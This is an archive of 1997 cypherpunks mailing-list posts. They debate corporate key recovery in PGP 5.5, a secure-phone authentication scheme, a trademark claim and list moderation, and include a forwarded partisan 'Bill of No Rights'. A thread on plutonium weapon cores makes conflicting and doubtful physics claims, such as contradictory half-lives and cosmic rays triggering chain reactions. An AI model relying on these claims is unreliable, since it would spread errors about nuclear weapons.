your time to his cause.  Buy doing personnal activities outside of 
certain accepted ones, you defraud him.  Did you indulge into calling 
your girlfriend in Tokyo while in your office? Did you get a pat in 
the back from your boss?



>  Actually, most large modern firms I'm familiar with approve of and expect
>  some degree of personal business to be transacted in the work place.  Some
>  even state this explicitly in their corporate policies and define the level
>  of personal business that is appropriate.  Never have I seen one which
>  insists that no personal business of any kind is to be tolerated.  I doubt
>  such a firm would have a reasonable retention rate either.

Duhhh ^2
But does that precludes the requirement by the company that all 
e-mail pertaining to  company activities be decryptable by them?

>  I think I might take that as a compliment coming from someone who advocates
>  the  kind of data ownership views that you seem to.  I hope to be thought
>  of as dangerous by those kind of entities.

Duhhh ^3  I did not said it, you did.  If you want to have a vague 
idea of my idea of property, just refer to Ayn Rand philosophy for a 
close enough explanation.
  
>  >I've been watching you for almost
>  >three years over Cypherpunks and e$-etc and other forums.
>  >Virtually *all* of your posts have this
>  >blow-up-their-basic-premises-and-let-them-with-nothing-but-confusion
>  >style.
>  
>  Blame law school.

You are almost absolved.  :-)  This anti-knowledge way of interacting 
is unfortunately widely thaught.  But from the moment you realize it, 
it becomes a sin again...  :-)

>  If my position on this issue makes me some kind of troublemaker, you better
>  point the same finger at Schneier, who (if quoted accurately) shares my view.
>  
>  >Your style shows intelligence and skill in the way you do
>  >it, which rules out idiocy on your part.  So, clearly, you have
>  >an agenda
>  
>  I do.  Unimparied privacy for individuals in all contexts.  Now tell me how
>  PGP5.5 contributes to that cause, particularly in the current political
>  climate.

I have no idea because I did not look at it.  Only, from a business 
standpoint, it doesn't only makes sense to be able to decrypt 
employees data, it is a sine qua none condition for the 
implementation of encryption at corporate level.  IMNSHO.

> The timing looks extremely suspect to me.  Challenging the
>  premise that corporates own the flesh and mind of every employee within the
>  walls of their facilities doesn't really strike me as something
>  pro-estlablishment

Double talk.  I never said it *owns* the employees, I said it owns 
the *means* of communication and, as per mutual agreement between 
employee and employer, the employee's time.  The employee AND the 
employer are, most of the time, free to walk out anytime.


> My view is, however, that
>  this is the wrong way for the world to progress.  If beliving that
>  employees don't sell their souls to large corporations because they accept
>  their paychecks is evil, call me evil.

Accepting a paycheck has nothing to do with selling your soul, it is 
a contractual agreement.  You have to fullfill it.  It is based on 
good faith.  

>  At the same time I beleve that
>  companies don't tell their soul to a given government just because they do
>  business on a given "soil."

There is a large part of happenstance in this.  Doing business with 
the Nazis is an extreme and many condemned it.  Doing business within 
the USA is another thing.

>  If correcting legal errors, 

I admit you do often.

> highlighting the flaws in basic premises and  pointing out general gaps in logic, 
>  which is what I think I've been doing
>  for the many years I've been poking around on c'punks an elsewhere, is

Oh, but I do not question that you act.  Only, your pretended basic 
premises and the end result and general philosophy conveyed by most 
of your comments simply do not match you pretended agenda. 

>The
>  consistancy you see is probably because I don't waiver in my principles
>  when it comes to privacy.

At least, we have something in common!  :-)

jfa 
Jean-Francois Avon, Montreal QC Canada
"One of theses centuries, the brutes, private or public, who believe
that they can rule their betters by force, will learn the lesson of
what happens when brute force encounters mind and force."
                                              - Ragnar Danneskjold
PGP key at: http://w3.citenet.net/users/jf_avon
            http://bs.mit.edu:8001/pks-toplev.html
ID# C58ADD0D : 529645E8205A8A5E F87CC86FAEFEF891 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 7 Oct 1997 14:52:43 +0800
To: cypherpunks@cyberpass.net
Subject: Bill Of No Rights
Message-ID: <v03007852b05f615155b2@[207.94.249.144]>
MIME-Version: 1.0
Content-Type: text/plain



I thought you would enjoy:

---------- Forwarded message begins here ----------
Bill Of No Rights
The following was written by State Representative Mitchell Kaye from
Cobb County, GA


We, the sensible people of the United States, in an attempt to help
everyone get along, restore some semblance of justice, avoid any more
riots, keep our nation safe, promote positive behavior and secure the
blessings of debt-free liberty to ourselves and our great-great-great
grandchildren, hereby try one more time to ordain and establish some
common sense guidelines for the terminally whiny,  guilt-ridden
delusional and other liberal, commie, pinko bedwetters.  We hold these
truths to be self-evident, that a whole lot of people were confused by
the Bill of Rights and are so dim that they require a Bill of No
Rights.


ARTICLE I: You do not have the right to a new car, big screen TV or any
other form of wealth. More power to you if you can legally acquire them,
but no one is guaranteeing anything.


ARTICLE II: You do not have the right to never be offended. This country
is based on freedom, and that means freedom for everyone - not just you!
You may leave the room, turn the channel, express a different opinion,
etc., but the World is full of idiots, and probably always will be.


ARTICLE III: You do not have the right to be free from harm. If you
stick a screwdriver in your eye, learn to be more careful, do not expect
the tool manufacturer to make you and all your relatives independently
wealthy.


ARTICLE IV: You do not have the right to free food and housing.
Americans are the most charitable people to be found, and will gladly
help anyone in need, but we are quickly growing weary of subsidizing
generation after generation of professional couch potatoes who achieve
nothing more than the creation of another generation of professional
couch potatoes.


ARTICLE V: You do not have the right to free health care. That would be
nice, but from the looks of public housing, we're just not interested in
health care.


ARTICLE VI: You do not have the right to physically harm other people.
If  you kidnap, rape, intentionally maim or kill someone, don't be
surprised if the rest of us want to see you fry in the electric chair.


ARTICLE VII: You do not have the right to the possessions of others.  If
you rob, cheat or coerce away the goods or services of other citizens,
don't be surprised if the rest of us get together and lock you away in a
place where you still won't have the right to a big-screen color TV or a
life of leisure.


ARTICLE VII: You don't have the right to demand that our children risk
their lives in foreign wars to soothe your aching conscience. We hate
oppressive governments and won't lift a finger to stop you from going to
fight if  you'd like. However, we do not enjoy parenting the entire world
and do not want to spend so much of our time battling each and every
little tyrant with a military uniform and a funny hat.


ARTICLE VIII: You don't have the right to a job. All of us sure want all
of  you to have one, and will gladly help you along in hard times, but we
expect you to take advantage of the opportunities of education and
vocational training laid before you to make yourself useful.


 ARTICLE IX: You do not have the right to happiness. Being an American
means that you have the right to pursue happiness - which by the way, is
a lot easier if you are unencumbered by an overabundance of idiotic laws
created by those of you who were confused by the Bill of Rights.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: no@spam.com
Date: Tue, 7 Oct 1997 09:24:59 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Trademarking CypherSpace???
In-Reply-To: <3.0.3.32.19971005185236.00688c68@popd.ix.netcom.com>
Message-ID: <199710070117.VAA27506@myriad>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:

> Sigh.  A company called I-Planet is trying to trademark the term
> "Cypherspace", even though we've been using it for a couple of years
> in the cypherpunk community.  They're doing an IPSEC Virtual Private
> Network, with friendly HTML administration;
> http://www.i-planet.com/P2cypherpb.html . Looks like interesting stuff,
> and I wish them luck except in TMing the name :-)

What these guys are selling is an embedded unix box with some crypto code
in the kernel, plus socks, sendmail, named, apache, and some fax software
pre-installed, for $5000.  Pretty high price for a 100 mhz FreeBSD box,
tho I suspect they have substantial tech support costs.

I saw no mention of trademark claims for "cypherspace" on their web site.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Tue, 7 Oct 1997 03:34:03 +0800
To: cypherpunks@toad.com
Subject: The Important Question / Re: russia_1.html
Message-ID: <199710061921.VAA10516@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Paul Pomes wrote:
> 
> Even a fizzle with a yield in the hundreds of tons equivalent is respectable.
> Plutonium decay products have a high neutron cross-section and steal the
> fast neutrons necessary for the chain reaction to build.  Sufficient amounts
> can kill off the last three or more re-doublings which is where most of the
> explosive power comes from.  On the other hand finely dispersed Pu and
> other fission products plus the irradiated material that becomes radioactive
> will make a few square miles dangerous to inhabit for several years.

Bill Frantz wrote:
> Plutonium has a half life on the order
> of 250,000 years, so very little decay products would build up in 6 years.
> The tritium used in thermonuclear weapons has a much shorter half life, and
> would need to be replaced about that often.

But the _important_ question is: "Where do connect the 'yellow' wire?"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Frantz <frantz@netcom.com>
Date: Tue, 7 Oct 1997 14:52:45 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: Secure phone
In-Reply-To: <v0300784db05ec180b158@[207.94.249.144]>
Message-ID: <v03007854b05f68b312e4@[207.94.249.144]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:57 AM -0700 10/6/97, Adam Back wrote:
>Bill Frantz <frantz@netcom.com> writes:
>> At 6:25 PM -0700 10/5/97, Adam Back wrote:
>> >On the other hand, using persistent key public key crypto, Tim has
>> >been signing his posts recently, and I have an ancient public key of
>> >his stashed away which his new key is signed with.  If we were able to
>> >construct a protocol to bolt on top of the reading of hashes, we could
>> >have much greater protection against MITM.
>>
>> Of course if you can use PGP as well as the secure phone, you can use PGP
>> to exchange a pad of one-time passwords.
>
>The passwords alone don't do you any good: if you read them out over
>the phone, Eve can just repeat them.

One simple possibility is to send out ten word groups.  Use each group only
once.  Use the words to encode the key hash display.


-------------------------------------------------------------------------
Bill Frantz       | Internal surveillance      | Periwinkle -- Consulting
(408)356-8506     | helped make the USSR the   | 16345 Englewood Ave.
frantz@netcom.com | nation it is today.        | Los Gatos, CA 95032, USA






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 7 Oct 1997 11:46:45 +0800
To: cypherpunks@toad.com
Subject: Re: off-topic
In-Reply-To: <199710062157.RAA27235@users.invweb.net>
Message-ID: <3439AB49.74DD@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



William H. Geiger III wrote: 
> dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM) said:
> 
> >> >In Canada, one could 'choose' not to work for Safeway Stores, but the
> >> >chain would come into a community and undersell everyone until the locals
> >> >were run out of business, then raise prices dramatically. In theory, you
> >> >could choose to *not* work for Safeway, but in reality, there was no one
> >> >else left *to* choose to work for in the grocery  business.

> >.... and if you don't like living among idiots, then move someplace where
> >te population makes more intelligent purchasing decision to sustain
> >better retailers.

  Or 'off' the idiots...
 
> No no no!! Much better to add another layer of bureaucracy to regulate the
> *evil* Safeway perhaps even an outright ban!! We wouldn't mention the fact
> that the Safeway store was able to fill a need that the local merchants
> were either unwilling or unable to provide. We wont mention the fact the
> the people of the community *chose* to shop at Safeway rather then the
> local merchants. 

  Same arguments I used during my conviction for selling heroin over
at the public school. Canadian judges just don't understand capitalism.

TruthMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Flesh <flesh@pigdog.org>
Date: Tue, 7 Oct 1997 12:49:11 +0800
To: cypherpunks@toad.com
Subject: Re: [Pigdog] ViaCrypt slowly excecutes Timmy C. May
In-Reply-To: <3.0.2.32.19971006152507.03229370@mail.nwlink.com>
Message-ID: <3439BAC7.7FE6@pigdog.org>
MIME-Version: 1.0
Content-Type: text/plain



TruthMonger wrote:

> Yes, although there are no law enforcement agents currently using it.

Hmmm. Perhaps we could make a few quick bucks showing them how to use 
it.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 7 Oct 1997 09:52:53 +0800
To: cypherpunks@Algebra.COM
Subject: Re: russia_1.html
Message-ID: <5eace64d33bd306e99f854345cd8c95d@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain




Peter Trei:
>The plutonium cores of thermonuclear devices have a limited shelf
>life - he claimed 6 years, which jibes with what I've heard from
>other open sources. Fission products build up in the cores which
>can poison a chain reaction. Thus all Pu based devices need to have
>the cores periodically removed and replaced with new ones, while the
>old ones have to go through a non-trivial reprocessing stage to
>remove the fission products.

Decay, rather than fission, I suppose.   I believe there's a treaty
prohibiting nuclear weapons in space.  Not so surprising if they're
inpractical - political points for nothing.

Bill Frantz:
>I think this comment is in error.  Plutonium has a half life on the order
>of 250,000 years, so very little decay products would build up in 6 years.
>The tritium used in thermonuclear weapons has a much shorter half life, and
>would need to be replaced about that often.

Replacement of tritium is certainly the dominant need.
As for the decay products - it depends how close they get to pure 239.

Half-lives: (years)

Pu 238       89
Pu 239    24000
Pu 240     6500
Pu 241       15
Pu 242   400000
D             0.015
T            12.3 

Paul Pomes wrote:
> 
>Even a fizzle with a yield in the hundreds of tons equivalent is respectable.
>Plutonium decay products have a high neutron cross-section and steal the
>fast neutrons necessary for the chain reaction to build.  Sufficient amounts
>can kill off the last three or more re-doublings which is where most of the
>explosive power comes from.

The only books I have to hand contain _thermal_ cross-sections.  :(

If it's an H-bomb I was under the impression you don't care that
desperately about the size of the plute yield - only that it is enough
to start the fusion.

Anybody know what happened to the proposed fissionless H-bomb of the '60s ?
Presumambly it never got working.

Warm&ComfyMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Tue, 7 Oct 1997 12:33:24 +0800
To: Flesh <flesh@pigdog.org>
Subject: Re: [Pigdog] ViaCrypt slowly excecutes Timmy C. May
In-Reply-To: <3.0.2.32.19971006152507.03229370@mail.nwlink.com>
Message-ID: <3439B5C4.171@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Flesh wrote:
> 
> Does the fireBot work well with the throwemupagainstthewallandaimfortheheadBot?

Yes, although there are no law enforcement agents currently using it.

ToothMangler





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Tue, 7 Oct 1997 08:08:59 +0800
To: cypherpunks@ssz.com
Subject: Re: Trademarking CypherSpace???
Message-ID: <199710062122.WAA03996@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Tim wrote:

> Seems to me I-Planet can't trademark a word which has been in usage by many
> of us for several years. What could they do, demand that we stop using a
> word we in all likelihood coined? Remove our old writings from the Web?

> I don't know about trademark law, and about whether "prior use" invalidates
> an attempted trademark.  It seems unrealistic for them to lay claim to a
> word someone else invented.


The Kodak disposable camera I have in front of me says

         "Kodak, Fun and Gold are trade marks."
and
           "(c) EASTMAN KODAK COMPANY, 1994"

while I have 361 references to Gold, dated 1611, and it was
very likely an old word then.  These trademark assertions are daft.

--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 7 Oct 1997 05:55:29 +0800
To: eb@comsec.com
Subject: using PGP email to authenticate Eric's Secure phone
In-Reply-To: <199710061905.MAA22945@comsec.com>
Message-ID: <199710062149.WAA00897@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Eric Blossom <eb@comsec.com> writes:
> What the commitment prevents is a birthday attack on the verification
> code by Mallet.  Mallet has to be able to come up with a g^x' that
> when concatenated with g^y and hashed computes the same verification
> code as g^x concatenated with g^y and hashed.

Yes.  But that just means that you need commitments to prevent a MITM
brute forcing a key with the same partial hash.

I don't see that commitments on DH parameters do anything to prevent
someone who can impersonate voices, as far as I can see it is all
going to collapse back to whether the attacker can impersonate voices
and splice in without audible noise.

> >On the other hand, using persistent key public key crypto, Tim has
> >been signing his posts recently, and I have an ancient public key of
> >his stashed away which his new key is signed with.  If we were able to
> >construct a protocol to bolt on top of the reading of hashes, we could
> >have much greater protection against MITM.
> 
> Agreed.  The primary difficulty is getting the public keys into the
> unit.  And agreeing on what kind of certificate to use...  
> My preference (for patent reasons) would be to use DSA or ElGamal
> signatures.

How about touch tone keypad (phone).  Bit tedious?  Or temporarily
plug unit into a PC's modem port?

What about... a key server on a phone number.  You call key directory
services, you type in phone number, and your phone downloads
certificates and phone numbers, and uploads it's own certificate.
Also put the keyserver on the internet.

Too much complexity probably, if most of your users won't be using it
as it will add to cost.

But I do think it would be a good idea for you to include
documentation on a good secure way to use a PGP signature to exchange
use-once keys suitable for printing on a sheet of A4 which would keep
a user going for a few hundred calls.  Plus easy to follow description
of how to use.  Your suggestion in another post in this thread was a
challenge response.  Say you printed a matrix of random numbers or
words which were exchanged before hand via PGP.  And then use the
digits of the hash on the LCD screen to do a table lookup.  The
attacker won't be able to do his MITM because he won't know the table,
and so won't know what value he should read.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Tue, 7 Oct 1997 06:46:17 +0800
To: brianbr@together.net
Subject: Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <199710062108.RAA11053@mx02.together.net>
Message-ID: <199710062158.WAA01414@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Brian Riley <brianbr@together.net> writes:
>  I would be almost as inclined to think that a company using PGP5.5
> with a forced encrypted to (company) self in addition to whomever else
> ... might even put up a bigger fuss about passing out their 'master
> key' to Freeh-dumb et al. than many CP individuals ...

There already exist a number of procedures for the Feds to extract
information from companies.  They serve a warrant requesting the
key/information, etc.  The company hands the information over.
Happens all the time.

>   ... another passing thought, could the anticipated implementation of
> this have had anything to do with removal of the 'conventional
> encryption' options in PGP5 ????

You could do GAK with conventional encryption too, with a bit of work.
Perhaps they just elected to remove that option rather than do that
bit of work.  Conventional encryption doesn't get used that much for
email, though it does see a bit of use with certain parts of type-I
remailer reply blocks.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Antonomasia <ant@notatla.demon.co.uk>
Date: Tue, 7 Oct 1997 07:58:57 +0800
To: cypherpunks@ssz.com
Subject: Re: Zergo Report
Message-ID: <199710062216.XAA04404@notatla.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




John Young wrote:

> Thanks to Adam Back and Ross Anderson the full Zergo
> Report on encryption use by the NHSnet is online at:
>
>    http://www.dcs.ex.ac.uk/~aba/ukcrypto/zergo.html  (139K)
>
> There may be action by HMG to prohibit publication in the
> UK (and maybe elsewhere) so we've mirrored it at:
>
>    http://jya.com/zergo-aba.htm
>
> Other mirrors encouraged.

As the Department of Health is supposed to be sending
this report to people who ask for it attempts at restricting
distribution would be absurd.

I've skimmed it - fairly boring - but I could understand
Zergo being embarrassed.   It's on my site now-ish.


--
##############################################################
# Antonomasia   ant@notatla.demon.co.uk                      #
# See http://www.notatla.demon.co.uk/                        #
##############################################################





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Tue, 7 Oct 1997 15:27:12 +0800
To: cryptography@c2.net
Subject: Non-US or US-exportable secure modems or RS232 crypto/authentication
Message-ID: <3.0.3.32.19971007001448.006bfa14@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



I'm looking for a source of modems that can be used in non-US sites
that support built-in encryption or at least strong authentication
(e.g. token cards would be great, or something stronger than 
simple password+dialback.)  A box sitting on the RS232 side of the
modem would probably work fine too, as long as it didn't interfere much
with regular traffic.

One of my customers would like a managed router network, but they're paranoid
(probably reasonably so :-), and our router management folks insist on 
modem access to the router console port so they can do things like 
reconfigure routers or reboot them when they're hosed.  The customer views
dialback as cute but crackable, and would probably accept one-time passwords
like S/Key but not basic reusable passwords.
				Thanks!
					Bill
Bill Stewart, stewarts@ix.netcom.com
Regular Key PGP Fingerprint D454 E202 CBC8 40BF  3C85 B884 0ABE 4639





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Tue, 7 Oct 1997 14:35:20 +0800
To: cypherpunks@cyberpass.net
Subject: Re: 10th aniversary posting
In-Reply-To: <Pine.LNX.3.91.971006171543.16998A-100000@skywriting.com>
Message-ID: <Chameleon.876199488.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain



FYI,

The following article is also located on my homepage at 

http://www.geocities.com/CapitolHill/7500/crossbow.htm


------------------------
  From: Weld Pond <weld@skywriting.com>
  Subject: 10th aniversary posting 


FROM CROSSBOWS TO CRYPTOGRAPHY:  TECHNO-THWARTING THE STATE
                               by Chuck Hammill
                              weaponsrus@aol.com

=snip=

---------------End of Original Message-----------------

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 10/07/97
Time: 00:43:16
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: amp@pobox.com
Date: Tue, 7 Oct 1997 15:05:10 +0800
To: "Brian B. Riley" <cypherpunks@cyberpass.net
Subject: Re: Re:New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <199710062108.RAA11053@mx02.together.net>
Message-ID: <Chameleon.876200254.amp@rcnu3077>
MIME-Version: 1.0
Content-Type: text/plain





------------------------
  From: "Brian B. Riley" <brianbr@together.net>
  Subject: Re:New PGP "Everything the FBI ever dreamed of" 

==snip==

>  I would be almost as inclined to think that a company using PGP5.5
> with a forced encrypted to (company) self in addition to whomever else
> ... might even put up a bigger fuss about passing out their 'master
> key' to Freeh-dumb et al. than many CP individuals ...

An interesting question indeed. This is something that needs to be 
carefully considered by all concerned especially since, once the LEA has a 
copy of a private key, there is no way to stop them from using it to 
decrypt =any= document that was encrypted to it. This is very different 
from a wiretap, where the court allows the LEA to listen in to 
conversations over a specific period at a specific location. A closer 
analogy would be to require all telephone conversations to be recorded, and 
the wiretap would be used to listen to all these recorded conversations.

>  ... another passing thought, could the anticipated implementation of
> this have had anything to do with removal of the 'conventional
> encryption' options in PGP5 ????

Indeed. I just recieved a copy of pgpmail 4.5 that my boss purchased. I'm 
supposed to look this over and see how we can implement it. Upon briefly 
perusing the documentation, I'd say that I prefer this version to pgp 5x 
since it allows conventional cryptography, (with idea rather than DES!) and 
also makes it easy to encrypt to a group of people. This functionality is 
really what we need it for more than anything else.

=snip=

Kinda makes one go "Hmmmm..."

------------------------
Name: amp
E-mail: amp@pobox.com
Date: 10/07/97
Time: 00:51:00
Visit me at http://www.pobox.com/~amp
==
     -export-a-crypto-system-sig -RSA-3-lines-PERL
#!/bin/perl -sp0777i<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<j]dsj
$/=unpack('H*',$_);$_=`echo 16dio\U$k"SK$/SM$n\EsN0p[lN*1
lK[d2%Sa2/d0$^Ixp"|dc`;s/\W//g;$_=pack('H*',/((..)*)$/)
==

'Drug Trafficking Offense' is the root passphrase to the Constitution.

Have you seen 
http://www.public-action.com/SkyWriter/WacoMuseum
------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Tue, 7 Oct 1997 17:36:41 +0800
To: cypherpunks@toad.com
Subject: P.S  unperfect MISTY algorithm
Message-ID: <19971007084351.1796.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



unperfect MISTY algorithm source code which I wrote isn't Public Domain.
When you use it ,You need to permit from me.


______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@hun.org>
Date: Tue, 7 Oct 1997 11:03:29 +0800
To: Adam Back <cypherpunks@cyberpass.net
Subject: Re: "moderation experiment" (was Re: Stronghold)
In-Reply-To: <199710060836.JAA00816@server.test.net>
Message-ID: <130bbbf.3c4e@hun.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

    when the whole sordid affair went down, particularly Dimitri's
    charges on faults, and my very strong "discussion" on the
    possibility Sameer may have cut a deal to save his own skin,
    thereby making C2 very insecure and very dangerous, I was
    subscribed to unedited, edited, flame, and announce --sorting 
    them into separate folders just to watch. the premise was 
    that none would be dumped: unedited was all, flame was 
    anything which was not in the edited feed.
 
    As to sameer, I was not terribly kind as to his general 
    morality, or the class morality as a whole. the fed hot
    water had mysteriously cooled off.

    unedited was clearly delayed during the day. I never saw
    dimitri's letter, and I would have, since dimitri was one
    of the louder (and, frankly, a bit too vituperative). there
    was a time I read most everything Dimitri posted just for
    the inanities and humour.  Dimitri (dont get a fat head,
    sucker) is more bark than bite; did your mother repress
    you as a child, Dimitri? 

    I sent one small comment on C2 backdoor possibilities for 
    ass-saving in the wee hours, it went through. the others
    did not, I thought maybe I had missed it, and checked
    DejaVu and the archives (which are not always the best)
    --so I reposted in the wee hours.

    likewise, tim copied several of his protests which never made
    it to the unedited list.

    so, in addition to the travesty of "moderating" the free speech
    list, Dimitri non-withstanding, they lied to us in regards the
    unedited list.

    as for Sandy's excuse that a few blatant examples from Dimitri
    placed him personally in double jeopardy --that's pure hyperbole,
    and it's fetid. and real low for a man with a law ticket.
    secondly, there should have been absolutely no hold on the
    unedited list and therefore no liability.

    no question in my mind that Gilmore, Sandfort, Sameer, and
    whoever else had their little stinky fingers in the pie were
    trying to censor them all --just in varying degrees. all of
    their actions were reprehensible, and from my standpoint, I
    would not trust any of them to not kick a dog when it was
    down --or even pour kerosene on a cat's behind.

    Bad Day in Blackrock.  where is Spenced Tracy and Gary Cooper 
    when High Noon really does join The Greatest Show on Earth?

    -------- previous messages follow for reference ---------

on or about 971006:0936 
    Adam Back <aba@dcs.ex.ac.uk> purported to expostulate:

+Dimitri Vulis <dlv@bwalk.dm.com> writes:
+> Adam Back <aba@dcs.ex.ac.uk> writes:
+> > Unfortunately I wasn't on cypherpunks-unedited at the time, but I
+> > thought that it was immediate send out from toad.com without going via
+> > Sandy.
+> 
+> Going over my notes I see that at least one of my submissions - the
+> one quoting the C2Net lawyer letter in its entirety - didn't appear
+> even on cypherpunks-unedited.

+I think I saw this claim made before around the time of the "moderation
+experiment".

+The only ways I can see that this could have happened are either that:

+  i)  John Gilmore started editing cypherpunks-unedited at
+Sandy/C2net's
+      request

+  ii) cypherpunks-unedited was edited all along by someone (John or
+Sandy)

+i) is sort of feasible, perhaps there are others who were on unedited
+and were counting who could confirm this.  Toto I think was.

+ii) is hard to believe because the fact that something is edited shows
+-- when the editor is sleeping you get lag.

+I'm fairly sure I didn't see the C2 legal letter you posted yesterday
+before.

+Can anyone else can confirm?

+Adam

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBNDmZJ704kQrCC2kFAQHiFgQAtGjl5NMat+rckQk8EcIk2fvOVg9+TP4s
dDVHzq+cZkrm+4Lt8h4NiypotJdZIQv6025F+Kzqsut5bGI1foIpZL3N2lGBT4Gy
082MSbk/e+5u5aWAmmUS8/e2fzX88VwuSSUnEOk8ObBWpsA5y4C+c1JgZGQLcE16
P5ezRec5T70=
=HQ2M
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Tue, 7 Oct 1997 16:34:58 +0800
To: cypherpunks@cyberpass.net
Subject: Re: russia_1.html
In-Reply-To: <5eace64d33bd306e99f854345cd8c95d@anon.efga.org>
Message-ID: <05b23d6def5dc1264b600e8e04f7374f@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



Peter Trei:
>The plutonium cores of thermonuclear devices have a limited shelf
>life - he claimed 6 years, which jibes with what I've heard from
>other open sources. Fission products build up in the cores which
>can poison a chain reaction. Thus all Pu based devices need to have
>the cores periodically removed and replaced with new ones, while the
>old ones have to go through a non-trivial reprocessing stage to
>remove the fission products.

Warm&ComfyMonger:
>Decay, rather than fission, I suppose.   I believe there's a treaty
>prohibiting nuclear weapons in space.  Not so surprising if they're
>inpractical - political points for nothing.

No.  Fission, not decay.  Pu239 decays into U235, which explodes just fine.

The problem is that background radiation (cosmic rays, etc) causes the Pu
to fission.  This sets off a chain reaction which fissions other Pu atoms.
If you have less than a critical mass, this will eventually burn itself
out, but it makes a mess of your core in the process.

As for space nukes, well, if you go stick something up in orbit where its
exposed to all sorts of radiation to destabilize the Pu... well you'll be
lucky if it doesn't melt down, much less last very long.  Furthermore,
there is all sorts of junk in low earth orbit, sooner or later something
is going to knock it out of orbit...

- NukeMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Harka <harka@nycmetro.com>
Date: Tue, 7 Oct 1997 17:48:08 +0800
To: cypherpunks@Algebra.COM
Subject: Smartcard trial in NYC
Message-ID: <19971007055951.64286@DosLinux.nycmetro.com>
MIME-Version: 1.0
Content-Type: text/plain




                             Reuters New Media
                                      
                    [ Yahoo | Write Us | Search | Info ]
                                      
    [ Index | News | World | Biz | Tech | Politic | Sport | Scoreboard |
                            Entertain | Health ]
                                      
                        [ Reuters | Wired | ZDNet ]
     _________________________________________________________________
   
   Previous Story: IBM Seeks To Fill Gap In Internet Commerce
   Next Story: Intel Sells Entire VLSI Stake
     _________________________________________________________________
